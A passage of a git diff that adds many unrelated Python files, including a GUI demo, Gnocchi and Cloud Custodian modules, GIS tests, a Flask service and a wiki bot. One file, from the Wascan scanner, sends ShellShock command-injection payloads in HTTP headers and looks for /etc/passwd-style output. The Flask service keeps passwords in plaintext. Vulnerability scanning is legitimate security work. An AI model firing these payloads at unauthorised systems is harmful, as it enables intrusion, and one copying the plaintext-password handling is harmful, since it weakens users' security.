image.create_image().ConvertToBitmap() + + image_widget = ImageWidget(window, bitmap=bitmap) + image_widget.control.SetBackgroundColour('white') + sizer.Add(image_widget.control, 0, wx.EXPAND) + + text = wx.StaticText(window, -1, "Blah", style=wx.ALIGN_CENTRE) + sizer.Add(text, 0, wx.EXPAND) + + # Resize the window to match the sizer's minimum size. + sizer.Fit(window) + + return + + +# Application entry point. +if __name__ == '__main__': + # Create the GUI (this does NOT start the GUI event loop). + gui = GUI() + + # Create and open the main window. + window = MainWindow() + window.open() + + # Start the GUI event loop! + gui.start_event_loop() + +##### EOF ##################################################################### diff --git a/pool/shard008/Python/0078906_app.py b/pool/shard008/Python/0078906_app.py new file mode 100644 index 0000000000000000000000000000000000000000..ede961c6b196a5c384ceae76ba41a9b7fea24e33 --- /dev/null +++ b/pool/shard008/Python/0078906_app.py @@ -0,0 +1,153 @@ +# -*- encoding: utf-8 -*- +# +# Copyright © 2014-2015 eNovance +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +import os + +import keystonemiddleware.auth_token +from oslo_log import log +from oslo_policy import policy +from oslo_utils import importutils +import pecan +from pecan import templating +import webob.exc +from werkzeug import serving +from werkzeug import wsgi + +from gnocchi import exceptions +from gnocchi import indexer +from gnocchi import json +from gnocchi import service +from gnocchi import storage + + +LOG = log.getLogger(__name__) + + +class GnocchiHook(pecan.hooks.PecanHook): + + def __init__(self, storage, indexer, conf): + self.storage = storage + self.indexer = indexer + self.conf = conf + self.policy_enforcer = policy.Enforcer(conf) + + def on_route(self, state): + state.request.storage = self.storage + state.request.indexer = self.indexer + state.request.conf = self.conf + state.request.policy_enforcer = self.policy_enforcer + + +class OsloJSONRenderer(object): + @staticmethod + def __init__(*args, **kwargs): + pass + + @staticmethod + def render(template_path, namespace): + return json.dumps(namespace) + + +class GnocchiJinjaRenderer(templating.JinjaRenderer): + def __init__(self, *args, **kwargs): + super(GnocchiJinjaRenderer, self).__init__(*args, **kwargs) + self.env.filters['tojson'] = json.dumps + + def render(self, template_path, namespace): + namespace = dict(data=namespace) + return super(GnocchiJinjaRenderer, self).render( + template_path, namespace) + + +PECAN_CONFIG = { + 'app': { + 'root': 'gnocchi.rest.RootController', + 'modules': ['gnocchi.rest'], + }, +} + + +class NotImplementedMiddleware(object): + def __init__(self, app): + self.app = app + + def __call__(self, environ, start_response): + try: + return self.app(environ, start_response) + except exceptions.NotImplementedError: + raise webob.exc.HTTPNotImplemented( + "Sorry, this Gnocchi server does " + "not implement this feature 😞") + + +def setup_app(config=PECAN_CONFIG, cfg=None): + if cfg is None: + # NOTE(jd) That sucks but pecan forces us to use kwargs :( + raise RuntimeError("Config is actually mandatory") + s = config.get('storage') + if not s: + s = storage.get_driver(cfg) + i = config.get('indexer') + if not i: + i = indexer.get_driver(cfg) + i.connect() + + root_dir = os.path.dirname(os.path.abspath(__file__)) + + # NOTE(sileht): pecan debug won't work in multi-process environment + pecan_debug = cfg.api.pecan_debug + if cfg.api.workers != 1 and pecan_debug: + pecan_debug = False + LOG.warning('pecan_debug cannot be enabled, if workers is > 1, ' + 'the value is overrided with False') + + app = pecan.make_app( + config['app']['root'], + debug=pecan_debug, + hooks=(GnocchiHook(s, i, cfg),), + guess_content_type_from_ext=False, + custom_renderers={'json': OsloJSONRenderer, + 'gnocchi_jinja': GnocchiJinjaRenderer}, + default_renderer='gnocchi_jinja', + template_path=root_dir + "/templates", + ) + + app = wsgi.SharedDataMiddleware( + app, + {"/static": root_dir + "/static"}, + cache=not cfg.api.pecan_debug) + + if config.get('not_implemented_middleware', True): + app = webob.exc.HTTPExceptionMiddleware(NotImplementedMiddleware(app)) + + for middleware in reversed(cfg.api.middlewares): + if not middleware: + continue + klass = importutils.import_class(middleware) + # FIXME(jd) Find a way to remove that special handling… + if klass == keystonemiddleware.auth_token.AuthProtocol: + middleware_config = dict(cfg.keystone_authtoken) + else: + middleware_config = dict(cfg) + app = klass(app, middleware_config) + + return app + + +def build_server(): + conf = service.prepare_service() + serving.run_simple(conf.api.host, conf.api.port, + setup_app(cfg=conf), + processes=conf.api.workers) diff --git a/pool/shard008/Python/0078907_test_lib_gis.py b/pool/shard008/Python/0078907_test_lib_gis.py new file mode 100644 index 0000000000000000000000000000000000000000..dedf67493347c9f60be0e4809dd5e4f9b13139de --- /dev/null +++ b/pool/shard008/Python/0078907_test_lib_gis.py @@ -0,0 +1,92 @@ +import math +from synapse.tests.common import * + +import synapse.lib.gis as s_gis + +# earth mean radius in mm +r = 6371008800 + +ratios = { + 'cm': 10.0, + 'm': 1000.0, + 'km': 1000000.0, +} + +km = 1000000.0 # using mm as base units +gchq = (51.8994, -2.0783) + +class GisTest(SynTest): + + def test_lib_gis_haversine(self): + px = (36.12, -86.67) + py = (33.94, -118.40) + self.eqish(s_gis.haversine(px, py), 2886448429.7648544) + + # Test haversinve value from rosetta code + r = s_gis.haversine((36.12, -86.67), (33.94, -118.40), 6372.8) + e = 2887.2599506071106 + self.eqish(r, e) + + # Test against 1/4th of a unit sphere + r = s_gis.haversine((45, 45), (-45, 45), 1.0) + e = math.pi / 2 + # We are typically within the machine-epsilon range for this test + self.assertAlmostEqual(r, e) + + # Test against the haversine package + lyon = (45.7597, 4.8422) + paris = (48.8567, 2.3508) + r = s_gis.haversine(lyon, paris, r=6371) + e = 392.21671780659625 + self.assertAlmostEqual(r, e) + + def test_lib_gis_latlong(self): + self.assertRaises(ValueError, s_gis.latlong, 'hehe') + self.assertRaises(ValueError, s_gis.latlong, 'hehe,hoho') + + self.eq(s_gis.latlong(' 0,0 '), (0.0, 0.0)) + self.eq(s_gis.latlong('-0,0 '), (0.0, 0.0)) + self.eq(s_gis.latlong('50,100 '), (50.0, 100.0)) + self.eq(s_gis.latlong('-50,100 '), (-50.0, 100.0)) + self.eq(s_gis.latlong('-50,-100 '), (-50.0, -100.0)) + self.eq(s_gis.latlong('50,-100 '), (50.0, -100.0)) + + self.eq(s_gis.latlong(' 0.12345678901234567890,-0.12345678901234567890 '), (0.12345678901234568, -0.12345678901234568)) # Note precision + + self.eq(s_gis.latlong('123.456,-987.654 '), (123.456, -987.654)) # Note Invalid coords + + def test_lib_gis_near(self): + point = (0.0, 0.0) + dist = 0 + points = [] + self.false(s_gis.near(point, dist, points)) # no points + + point = (0.0, 0.0) + dist = 0 + points = [(0.0, 0.0)] + self.true(s_gis.near(point, dist, points)) # same point + + point = (0.0, 0.0) + dist = 0 + points = [(50.0, 50.0), (0.0, 0.0)] + self.true(s_gis.near(point, dist, points)) # far point and same point + + point = (45.7597, 4.8422) # lyon + dist = 400000000 # actual haversine distance between lyon/paris is ~392217259mm + points = [(0.0, 0.0), (48.8567, 2.3508)] # 0,0 and paris + self.true(s_gis.near(point, dist, points)) + + point = (45.7597, 4.8422) # lyon + dist = 391000000 # actual haversine distance between lyon/paris is ~392217259mm + points = [(0.0, 0.0), (48.8567, 2.3508)] # 0,0 and paris + self.false(s_gis.near(point, dist, points)) + + def test_lib_gis_dms2dec(self): + self.eqish(s_gis.dms2dec(45, 46, 52), 45.78111111111111) + + def test_lib_gis_bbox(self): + lbox = s_gis.bbox(gchq[0], gchq[1], 1 * km) + self.eq(lbox, (51.890406796362754, + 51.908393203637246, + -2.0928746526154747, + -2.0637253473845254)) diff --git a/pool/shard008/Python/0078917_feed_parse_extractWhiteCherryblBlogspotCom.py b/pool/shard008/Python/0078917_feed_parse_extractWhiteCherryblBlogspotCom.py new file mode 100644 index 0000000000000000000000000000000000000000..6fd0202e2809c0e83fc2780863ce289c3b96047d --- /dev/null +++ b/pool/shard008/Python/0078917_feed_parse_extractWhiteCherryblBlogspotCom.py @@ -0,0 +1,22 @@ + +def extractWhiteCherryblBlogspotCom(item): + ''' + Parser for 'white-cherrybl.blogspot.com' + ''' + + vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) + if not (chp or vol) or "preview" in item['title'].lower(): + return None + + tagmap = [ + ('PRC', 'PRC', 'translated'), + ('Loiterous', 'Loiterous', 'oel'), + ] + + for tagname, name, tl_type in tagmap: + if tagname in item['tags']: + return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type) + + + return False + \ No newline at end of file diff --git a/pool/shard008/Python/0078929_bashi.py b/pool/shard008/Python/0078929_bashi.py new file mode 100644 index 0000000000000000000000000000000000000000..a990dc2116c09375057a0ea9acbeb7e9650ff39d --- /dev/null +++ b/pool/shard008/Python/0078929_bashi.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- +# +# @name: Wascan - Web Application Scanner +# @repo: https://github.com/m4ll0k/Wascan +# @author: Momo Outaadi (M4ll0k) +# @license: See the file 'LICENSE.txt' + +from re import search,I +from lib.utils.printer import * +from lib.request.request import * +from lib.utils.payload import bash + +class bashi(Request): + """Bash Command Injection (ShellShock)""" + get = "GET" + def __init__(self,kwargs,url,data): + Request.__init__(self,kwargs) + self.url = url + self.data = data + + def run(self): + """Run""" + info('Checking Bash Command Injection...') + for payload in bash(): + # user-agent and referer header add the payload + user_agent = {'User-Agent':'() { :;}; echo; echo; %s;'%payload, + 'Referer':'() { :;}; echo; echo; %s;'%payload + } + # send request + req = self.Send(url=self.url,method=self.get,headers=user_agent) + # split payload + if '\"' in payload: payload = payload.split('"')[1] + # search root:/bin/ba[sh] or payload in content + if search(r"root:/bin/[bash|sh]|"+payload,req.content): + plus("A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)") + more("URL: {}".format(self.url)) + more("PAYLOAD: {}".format('() { :;}; echo; echo; %s;'%(payload))) + break diff --git a/pool/shard008/Python/0078936_service.py b/pool/shard008/Python/0078936_service.py new file mode 100644 index 0000000000000000000000000000000000000000..145f415261f75d11b19e5bff3b67bbc72e06d0b3 --- /dev/null +++ b/pool/shard008/Python/0078936_service.py @@ -0,0 +1,159 @@ +from src import model +from src.model import User, Pin, Category, Velov +from flask import Flask, flash, render_template, request, session, jsonify +from flask.ext.sqlalchemy import SQLAlchemy +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker + +def connectToDatabase(): + """ + Connect to our SQLite database and return a Session object + """ + session = model.db + return session + +db = connectToDatabase() + +def getAllPin(idCategory): + """ + request for all pins + """ + if (idCategory): + cat = Category.query.get(idCategory) + if cat: + items = cat.pins + else: + items = [] + else: + items = Pin.query.all() + + if items: + print "Pins non vides" + return jsonify(pins=[item.serialize() for item in items]) + + print "pins vide" + return jsonify(error="No pins") + +def getPinById(idPin): + print idPin + if idPin: + item = Pin.query.get(int(idPin)) + + print item.id + + if item: + return jsonify(item.serialize()) + + return jsonify(error="No pin") + + return jsonify(error = "Invalid parameters") + +def getAllUser(): + print "getAllUser" + + items = User.query.all() + + print "query faite" + + if items : + print "users non vide" + return jsonify(users=[item.serialize() for item in items]) + + print "user vide" + return jsonify(error="No user") + +def getAllCategory(pin): + print "displayCategories" + #id de la pin + + if pin: + pi = Pin.query.get(pin) + items = pi.categories + else: + items = Category.query.all() + + if items : + print "categories non vide" + return jsonify(categories=[item.serialize() for item in items]) + + print "Category vide" + return jsonify(error="No category") + +def getCategoryById(category): + print "displayCategory" + if category: + item = Category.query.filter_by(nom=category).first() + + print item.id + + if item: + return jsonify(item.serialize()) + + return jsonify(error="No category") + + return jsonify(error = "Invalid parameters") + + + + + + + +def authentification(form): + user = User.query.filter_by(pseudo=form['pseudo'], passw=form['passw']).first() + if user: + return jsonify(id=user.id, pseudo=user.pseudo) + return jsonify(error="authentification error") + +def addPin(form): + print "addPin" + """if (form['title'] and form['user'] and form['lng'] and form['lat']): + exist = Pin.query.filter_by(title=form['title'], lng=form['lng'], lat=form['lat']).first() + + if exist: + return jsonify(error="already exists") + + user = User.query.get(form['user']) + + if not(user): + return jsonify(error="user doesn't exist") + + #FAUX pin = Pin(form['title'], float(form['lng']), float(form['lat']), form['user'], form['category'], form['description']) + """ + db.session.add(form) + db.session.commit() + + # return jsonify(pin = pin.serialize()) + + #return jsonify(error="invalid parameters") + +#updates or creates a velov +def updateVelovByIdVelov(current): + if current: + item = Velov.query.filter_by(idVelov=current.idVelov).first() + + if item: + item.velo = current.velo + item.libre = current.libre + db.session.commit() + else: + addPin(current) + + +def addUser(form): + if (form['pseudo'] and form['passw']): + + exist = User.query.filter_by(pseudo=form['pseudo']).first() + + if exist: + + return jsonify(error="already exist") + + user = User(form['pseudo'], form['passw']) + + db.session.add(user) + db.session.commit() + + return jsonify(id=user.id, pseudo=user.pseudo) + + return jsonify(error="invalid parameters") \ No newline at end of file diff --git a/pool/shard008/Python/0078937_glacier.py b/pool/shard008/Python/0078937_glacier.py new file mode 100644 index 0000000000000000000000000000000000000000..57effe8ff56c0b26fe6364fa8cc0cf0ca5be4d08 --- /dev/null +++ b/pool/shard008/Python/0078937_glacier.py @@ -0,0 +1,108 @@ +# Copyright 2016 Capital One Services, LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from __future__ import absolute_import, division, print_function, unicode_literals + +from botocore.exceptions import ClientError + +from c7n.actions import ActionRegistry, AutoTagUser +from c7n.filters import FilterRegistry, CrossAccountAccessFilter +from c7n.query import QueryResourceManager +from c7n.manager import resources +from c7n.tags import ( + TagActionFilter, UniversalTag, UniversalUntag, UniversalTagDelayedAction) +from c7n.utils import get_retry, local_session + + +@resources.register('glacier') +class Glacier(QueryResourceManager): + + filter_registry = FilterRegistry('glacier.filters') + filter_registry.register('marked-for-op', TagActionFilter) + + action_registry = ActionRegistry('glacier.actions') + action_registry.register('auto-tag-user', AutoTagUser) + action_registry.register('mark', UniversalTag) + action_registry.register('tag', UniversalTag) + action_registry.register('mark-for-op', UniversalTagDelayedAction) + action_registry.register('remove-tag', UniversalUntag) + action_registry.register('unmark', UniversalUntag) + action_registry.register('untag', UniversalUntag) + + permissions = ('glacier:ListTagsForVault',) + retry = staticmethod(get_retry(('Throttled',))) + + class resource_type(object): + service = 'glacier' + enum_spec = ('list_vaults', 'VaultList', None) + name = "VaultName" + id = "VaultARN" + dimension = None + + def augment(self, resources): + def process_tags(resource): + client = local_session(self.session_factory).client('glacier') + tag_dict = self.retry( + client.list_tags_for_vault, + vaultName=resource[self.get_model().name])['Tags'] + tag_list = [] + for k, v in tag_dict.items(): + tag_list.append({'Key': k, 'Value': v}) + resource['Tags'] = tag_list + return resource + + with self.executor_factory(max_workers=2) as w: + return list(w.map(process_tags, resources)) + + +@Glacier.filter_registry.register('cross-account') +class GlacierCrossAccountAccessFilter(CrossAccountAccessFilter): + """Filter to return all glacier vaults with cross account access permissions + + The whitelist parameter will omit the accounts that match from the return + + :example: + + .. code-block: + + policies: + - name: glacier-cross-account + resource: glacier + filters: + - type: cross-account + whitelist: + - permitted-account-01 + - permitted-account-02 + """ + permissions = ('glacier:GetVaultAccessPolicy',) + + def process(self, resources, event=None): + def _augment(r): + client = local_session( + self.manager.session_factory).client('glacier') + try: + r['Policy'] = client.get_vault_access_policy( + vaultName=r['VaultName'])['policy']['Policy'] + return r + except ClientError as e: + if e.response['Error']['Code'] == 'AccessDeniedException': + self.log.warning( + "Access denied getting policy glacier:%s", + r['FunctionName']) + + self.log.debug("fetching policy for %d glacier" % len(resources)) + with self.executor_factory(max_workers=3) as w: + resources = filter(None, w.map(_augment, resources)) + + return super(GlacierCrossAccountAccessFilter, self).process( + resources, event) diff --git a/pool/shard008/Python/0078938_newsource.py b/pool/shard008/Python/0078938_newsource.py new file mode 100644 index 0000000000000000000000000000000000000000..3b293c04f835f370b87adcc46377d8dfd680267a --- /dev/null +++ b/pool/shard008/Python/0078938_newsource.py @@ -0,0 +1,279 @@ +#!/usr/bin/env python2 +# -*- coding: utf-8 -*- + +import sys +import os +import string + +config = { + "project": "Aesalon", + "desc": "a tool to visualize program behaviour in real time", + "authors": "Aesalon development team", + "license": "GNU GPLv3", + "devyears": "2009-2011", + "website": "http://aesalon.berlios.de/", + "srcBase": "src", + "incBase": "include", + "guardBase": "Aesalon", + "fileHeader": +"""/** %(project)s, %(desc)s. + Copyright (C) %(devyears)s, %(authors)s. + + %(project)s is distributed under the terms of the %(license)s. See + the included file LICENSE for more information. + + @file %(path)s +*/ +""", + "cHeader": +""" +#ifndef %(includeGuard)s +#define %(includeGuard)s + + + +#endif +""", + + "cSource": +""" +#include "%(incPath)s" + + +""", + "cppHeader": +""" +#ifndef %(includeGuard)s +#define %(includeGuard)s + +""", + "openNamespace": +""" +namespace %(namespace)s {""", + + "cppClassDef": +""" + +class %(className)s { +public: + %(className)s(); + ~%(className)s(); +}; +""", + "closeNamespace": +""" +} // namespace %(namespace)s""", + "cppHeaderEnd": +""" + +#endif +""" +} + +class Generator: + def __init__(self): + self.__name = "Unknown name" + pass + + def name(self): + return self.__name + def setName(self, name): + self.__name = name + + def generate(self, name): + pass + +class CHeader(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("cheader") + + def generate(self, name): + path = name + path += ".h" + + fp = file(os.path.join(config["incBase"], path), "w") + + includeGuard = config["guardBase"] + " " + name.replace("/", " ") + while True: + index = includeGuard.find(" ") + if index == -1: break + + includeGuard = includeGuard[:index] + includeGuard[index+1].upper() + includeGuard[index+2:] + + includeGuard += "_H" + + fileConfig = config + fileConfig["path"] = path + fileConfig["includeGuard"] = includeGuard + + fp.write(config["fileHeader"] % fileConfig) + fp.write(config["cHeader"] % fileConfig) + + fp.close() + + return path + +class CSource(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("csource") + + def generate(self, name, incPath=""): + path = os.path.join(config["srcBase"], name) + path += ".c" + + fp = file(path, "w") + + fileConfig = config + fileConfig["path"] = path + fileConfig["incPath"] = incPath + + fp.write(fileConfig["fileHeader"] % fileConfig) + if incPath != "": + fp.write(fileConfig["cSource"] % fileConfig) + + fp.write("\n") + + fp.close() + +class CGenerator(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("c") + + def generate(self, name): + CHeader().generate(name) + CSource().generate(name, True) + + + +class CppHeader(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("cppheader") + + def generate(self, name): + path = name + path = path.replace("::", "/") + last = path.rfind("/") + if last != -1: + path = path[:last].lower() + path[last:] + path += ".h" + filepath = os.path.join(config["incBase"], path) + + fp = file(filepath, "w") + + includeGuard = config["guardBase"] + " " + name.replace("/", "_") + includeGuard = includeGuard.replace("::", "_") + while True: + index = includeGuard.find(" ") + if index == -1: break + + includeGuard = includeGuard[:index] + includeGuard[index+1].upper() + includeGuard[index+2:] + + includeGuard += "_H" + + fileConfig = config + fileConfig["path"] = filepath + fileConfig["includeGuard"] = includeGuard + + fp.write(config["fileHeader"] % fileConfig) + fp.write(config["cppHeader"] % fileConfig) + + namespaceList = name.split("::") + if len(namespaceList) != 1: + className = namespaceList[-1] + namespaceList = namespaceList[:-1] + for namespace in namespaceList: + fileConfig["namespace"] = namespace + fp.write(fileConfig["openNamespace"] % fileConfig) + + fileConfig["className"] = className + fp.write(fileConfig["cppClassDef"] % fileConfig) + + for namespace in namespaceList[::-1]: + fileConfig["namespace"] = namespace + fp.write(fileConfig["closeNamespace"] % fileConfig) + + fp.write(config["cppHeaderEnd"] % fileConfig) + + fp.close() + + return path + +class CppSource(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("cppsource") + + def generate(self, name, incPath=""): + path = os.path.join(config["srcBase"], name) + path = path.replace("::", "/") + last = path.rfind("/") + if last != -1: + path = path[:last].lower() + path[last:] + path += ".cpp" + + fp = file(path, "w") + + fileConfig = config + fileConfig["path"] = path + fileConfig["incPath"] = incPath + + fp.write(fileConfig["fileHeader"] % fileConfig) + if incPath != "": + fp.write(fileConfig["cSource"] % fileConfig) + + namespaceList = name.split("::") + if len(namespaceList) != 1: + className = namespaceList[-1] + namespaceList = namespaceList[:-1] + for namespace in namespaceList: + fileConfig["namespace"] = namespace + fp.write(fileConfig["openNamespace"] % fileConfig) + + fp.write("\n\n") + + for namespace in namespaceList[::-1]: + fileConfig["namespace"] = namespace + fp.write(fileConfig["closeNamespace"] % fileConfig) + + fp.close() + +class CppGenerator(Generator): + def __init__(self): + Generator.__init__(self) + self.setName("cpp") + + def generate(self, name): + incPath = CppHeader().generate(name) + CppSource().generate(name, incPath) + + + +def main(): + generatorMap = dict() + def addGenerator(generator): + generatorMap[generator.name()] = generator + + addGenerator(CHeader()) + addGenerator(CSource()) + addGenerator(CGenerator()) + + addGenerator(CppHeader()) + addGenerator(CppSource()) + addGenerator(CppGenerator()) + + if len(sys.argv) < 3: + print "Usage:", sys.argv[0], "generator name1 [name2 name3 . . .]" + print "Where generator is one of:" + for g in generatorMap.values(): + print "\t", g.name() + return + generator = generatorMap[sys.argv[1]] + + for name in sys.argv[2:]: + generator.generate(name) + +main() diff --git a/pool/shard008/Python/0078939_wikimedia_sites.py b/pool/shard008/Python/0078939_wikimedia_sites.py new file mode 100644 index 0000000000000000000000000000000000000000..ccd241769d40b66f3d4e69332afa01d05ac6deb5 --- /dev/null +++ b/pool/shard008/Python/0078939_wikimedia_sites.py @@ -0,0 +1,108 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +"""Script that updates the language lists in Wikimedia family files.""" +# +# (C) xqt, 2009-2014 +# (C) Pywikibot team, 2008-2014 +# +# Distributed under the terms of the MIT license. +# +from __future__ import unicode_literals + +__version__ = '$Id$' +# + +import re +import codecs +from xml.etree import cElementTree +import sys + +import pywikibot +from pywikibot.family import Family + +if sys.version_info[0] > 2: + from urllib.request import urlopen +else: + from urllib import urlopen + +URL = 'https://wikistats.wmflabs.org/api.php?action=dump&table=%s&format=xml' + +familiesDict = { + 'anarchopedia': 'anarchopedias', + 'wikibooks': 'wikibooks', + 'wikinews': 'wikinews', + 'wikipedia': 'wikipedias', + 'wikiquote': 'wikiquotes', + 'wikisource': 'wikisources', + 'wikiversity': 'wikiversity', + 'wikivoyage': 'wikivoyage', + 'wiktionary': 'wiktionaries', +} + +exceptions = ['www'] + + +def update_family(families): + for family in families or familiesDict.keys(): + pywikibot.output('\nChecking family %s:' % family) + + original = Family.load(family).languages_by_size + obsolete = Family.load(family).obsolete + + feed = urlopen(URL % familiesDict[family]) + tree = cElementTree.parse(feed) + + new = [] + for field in tree.findall('row/field'): + if field.get('name') == 'prefix': + code = field.text + if not (code in obsolete or code in exceptions): + new.append(code) + continue + + # put the missing languages to the right place + missing = original != new and set(original) - set(new) + if missing: + pywikibot.output(u"WARNING: ['%s'] not listed at wikistats." + % "', '".join(missing)) + index = {} + for code in missing: + index[original.index(code)] = code + i = len(index) - 1 + for key in sorted(index.keys(), reverse=True): + new.insert(key - i, index[key]) + i -= 1 + + if original == new: + pywikibot.output(u'The lists match!') + else: + pywikibot.output(u"The lists don't match, the new list is:") + text = u' self.languages_by_size = [\r\n' + line = ' ' * 11 + for code in new: + if len(line) + len(code) <= 76: + line += u" '%s'," % code + else: + text += u'%s\r\n' % line + line = ' ' * 11 + line += u" '%s'," % code + text += u'%s\r\n' % line + text += u' ]' + pywikibot.output(text) + family_file_name = 'pywikibot/families/%s_family.py' % family + family_file = codecs.open(family_file_name, 'r', 'utf8') + family_text = family_file.read() + old = re.findall(r'(?msu)^ {8}self.languages_by_size.+?\]', + family_text)[0] + family_text = family_text.replace(old, text) + family_file = codecs.open(family_file_name, 'w', 'utf8') + family_file.write(family_text) + family_file.close() + + +if __name__ == '__main__': + fam = [] + for arg in pywikibot.handleArgs(): + if arg in familiesDict.keys() and arg not in fam: + fam.append(arg) + update_family(fam) diff --git a/pool/shard008/Python/0078943_cli.py b/pool/shard008/Python/0078943_cli.py new file mode 100644 index 0000000000000000000000000000000000000000..5f2144a1d71e5bfb9e24772f55d0f81b8193ef6e --- /dev/null +++ b/pool/shard008/Python/0078943_cli.py @@ -0,0 +1,33 @@ +import click +import docker + +from py._path.local import LocalPath + +from python_builder_concept.builder import Builder, Workspace +from python_builder_concept.config import load_configs + + +@click.command() +@click.option('--config', required=True, + help='The path to the config file for the builder.', + type=click.Path(exists=True, dir_okay=False, resolve_path=True)) +@click.option('--build-file', default='.build.yml', + help='The name of the build config file in the source') +@click.option('--docker-socket', default='unix://var/run/docker.sock', + help='The address to the Docker daemon socket') +@click.argument('source_dir', + type=click.Path(exists=True, file_okay=False, + resolve_path=True)) +@click.argument('workspace_dir', + type=click.Path(file_okay=False, resolve_path=True)) +def main(config, build_file, docker_socket, source_dir, workspace_dir): + workspace = Workspace(LocalPath(workspace_dir)) + workspace.prepare(LocalPath(source_dir)) + + configs = load_configs(LocalPath(config), + workspace.source_path.join(build_file)) + + docker_client = docker.Client(base_url=docker_socket) + + builder = Builder(configs, workspace, docker_client) + builder.build() diff --git a/pool/shard008/Python/0078947_module_nugget.py b/pool/shard008/Python/0078947_module_nugget.py new file mode 100644 index 0000000000000000000000000000000000000000..cd65f937ec8dbd2d1008bebbee90989688e32f4b --- /dev/null +++ b/pool/shard008/Python/0078947_module_nugget.py @@ -0,0 +1,93 @@ +# -*- coding: utf-8 -*- + +import random +import re +from urllib import FancyURLopener + +from BeautifulSoup import BeautifulSoup + + +class MyOpener(FancyURLopener): + version = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11' + + +class Nuggets(): + def __init__(self): + self.nugget_list = [] + self.getNuggets() + self.soup = None + random.seed() + + def makeSoup(self): + myopener = MyOpener() + page = myopener.open(self.url).read() + self.soup = BeautifulSoup(page) + + def getNuggets(self): + pass + + def cleanNuggets(self, ugly_nugget_list): + for nugget in ugly_nugget_list: + temp = re.sub('<.*?>', '', str(nugget)) + if re.search('\.\.\.', temp): + self.nugget_list.append(re.sub('\.\.\.', '', temp)) + + def getSentence(self): + return self.question + self.nugget_list[random.randint(0, len(self.nugget_list))] + + +class NuggetsEn(Nuggets): + def __init__(self, archive_num): + self.question = "Did you know, " + #archive_max checked 13-8-2009 + self.archive_max = 246 + self.archive_num = archive_num + if self.archive_num > self.archive_max: + self.archive_num = random.randint(1, self.archive_max) + self.url = "http://en.wikipedia.org/wiki/Wikipedia:Recent_additions_" + str(self.archive_num) + Nuggets.__init__(self) + + def getNuggets(self): + self.makeSoup() + ugly_nugget_list = [] + lists = self.soup.findAll("ul") + for list in lists[:-7]: + for nugget in list.findAll("li"): + ugly_nugget_list.append(nugget) + + self.cleanNuggets(ugly_nugget_list) + + +class NuggetsFi(Nuggets): + def __init__(self, archive_num): + self.question = "Tiesitkö, että " + #archive_max checked 13-8-2009 + self.archive_max = 6 + self.archive_num = archive_num + if self.archive_num > self.archive_max: + self.archive_num = random.randint(1, self.archive_max) + self.url = "http://fi.wikipedia.org/wiki/Wikipedia:Tiesitk%C3%B6_ett%C3%A4.../Arkisto" + str(self.archive_num) + Nuggets.__init__(self) + + def getNuggets(self): + self.makeSoup() + ugly_nugget_list = [] + lists = self.soup.findAll("ul") + for nugget in lists[0].findAll("li"): + ugly_nugget_list.append(nugget) + + self.cleanNuggets(ugly_nugget_list) + + +def command_nugget(bot, user, channel, args): + """Tells nugget from Wikipedia. Avaible Languages: fi, en Usage: .nugget [lang]""" + if args: + if args.lower() == "en": + nugget = NuggetsEn(10000) + elif args.lower() == "fi": + nugget = NuggetsFi(10000) + else: + nugget = NuggetsFi(10000) + else: + nugget = NuggetsFi(10000) + return bot.say(channel, nugget.getSentence()) diff --git a/pool/shard008/Python/0078948_series_cov.py b/pool/shard008/Python/0078948_series_cov.py new file mode 100644 index 0000000000000000000000000000000000000000..39d26267a56e65b2adb475decaa1ffeea81d95f2 --- /dev/null +++ b/pool/shard008/Python/0078948_series_cov.py @@ -0,0 +1,40 @@ +# ***************************************************************************** +# Copyright (c) 2020, Intel Corporation All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, +# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# ***************************************************************************** + +import numpy as np +import pandas as pd +from numba import njit + + +@njit +def series_cov(): + s1 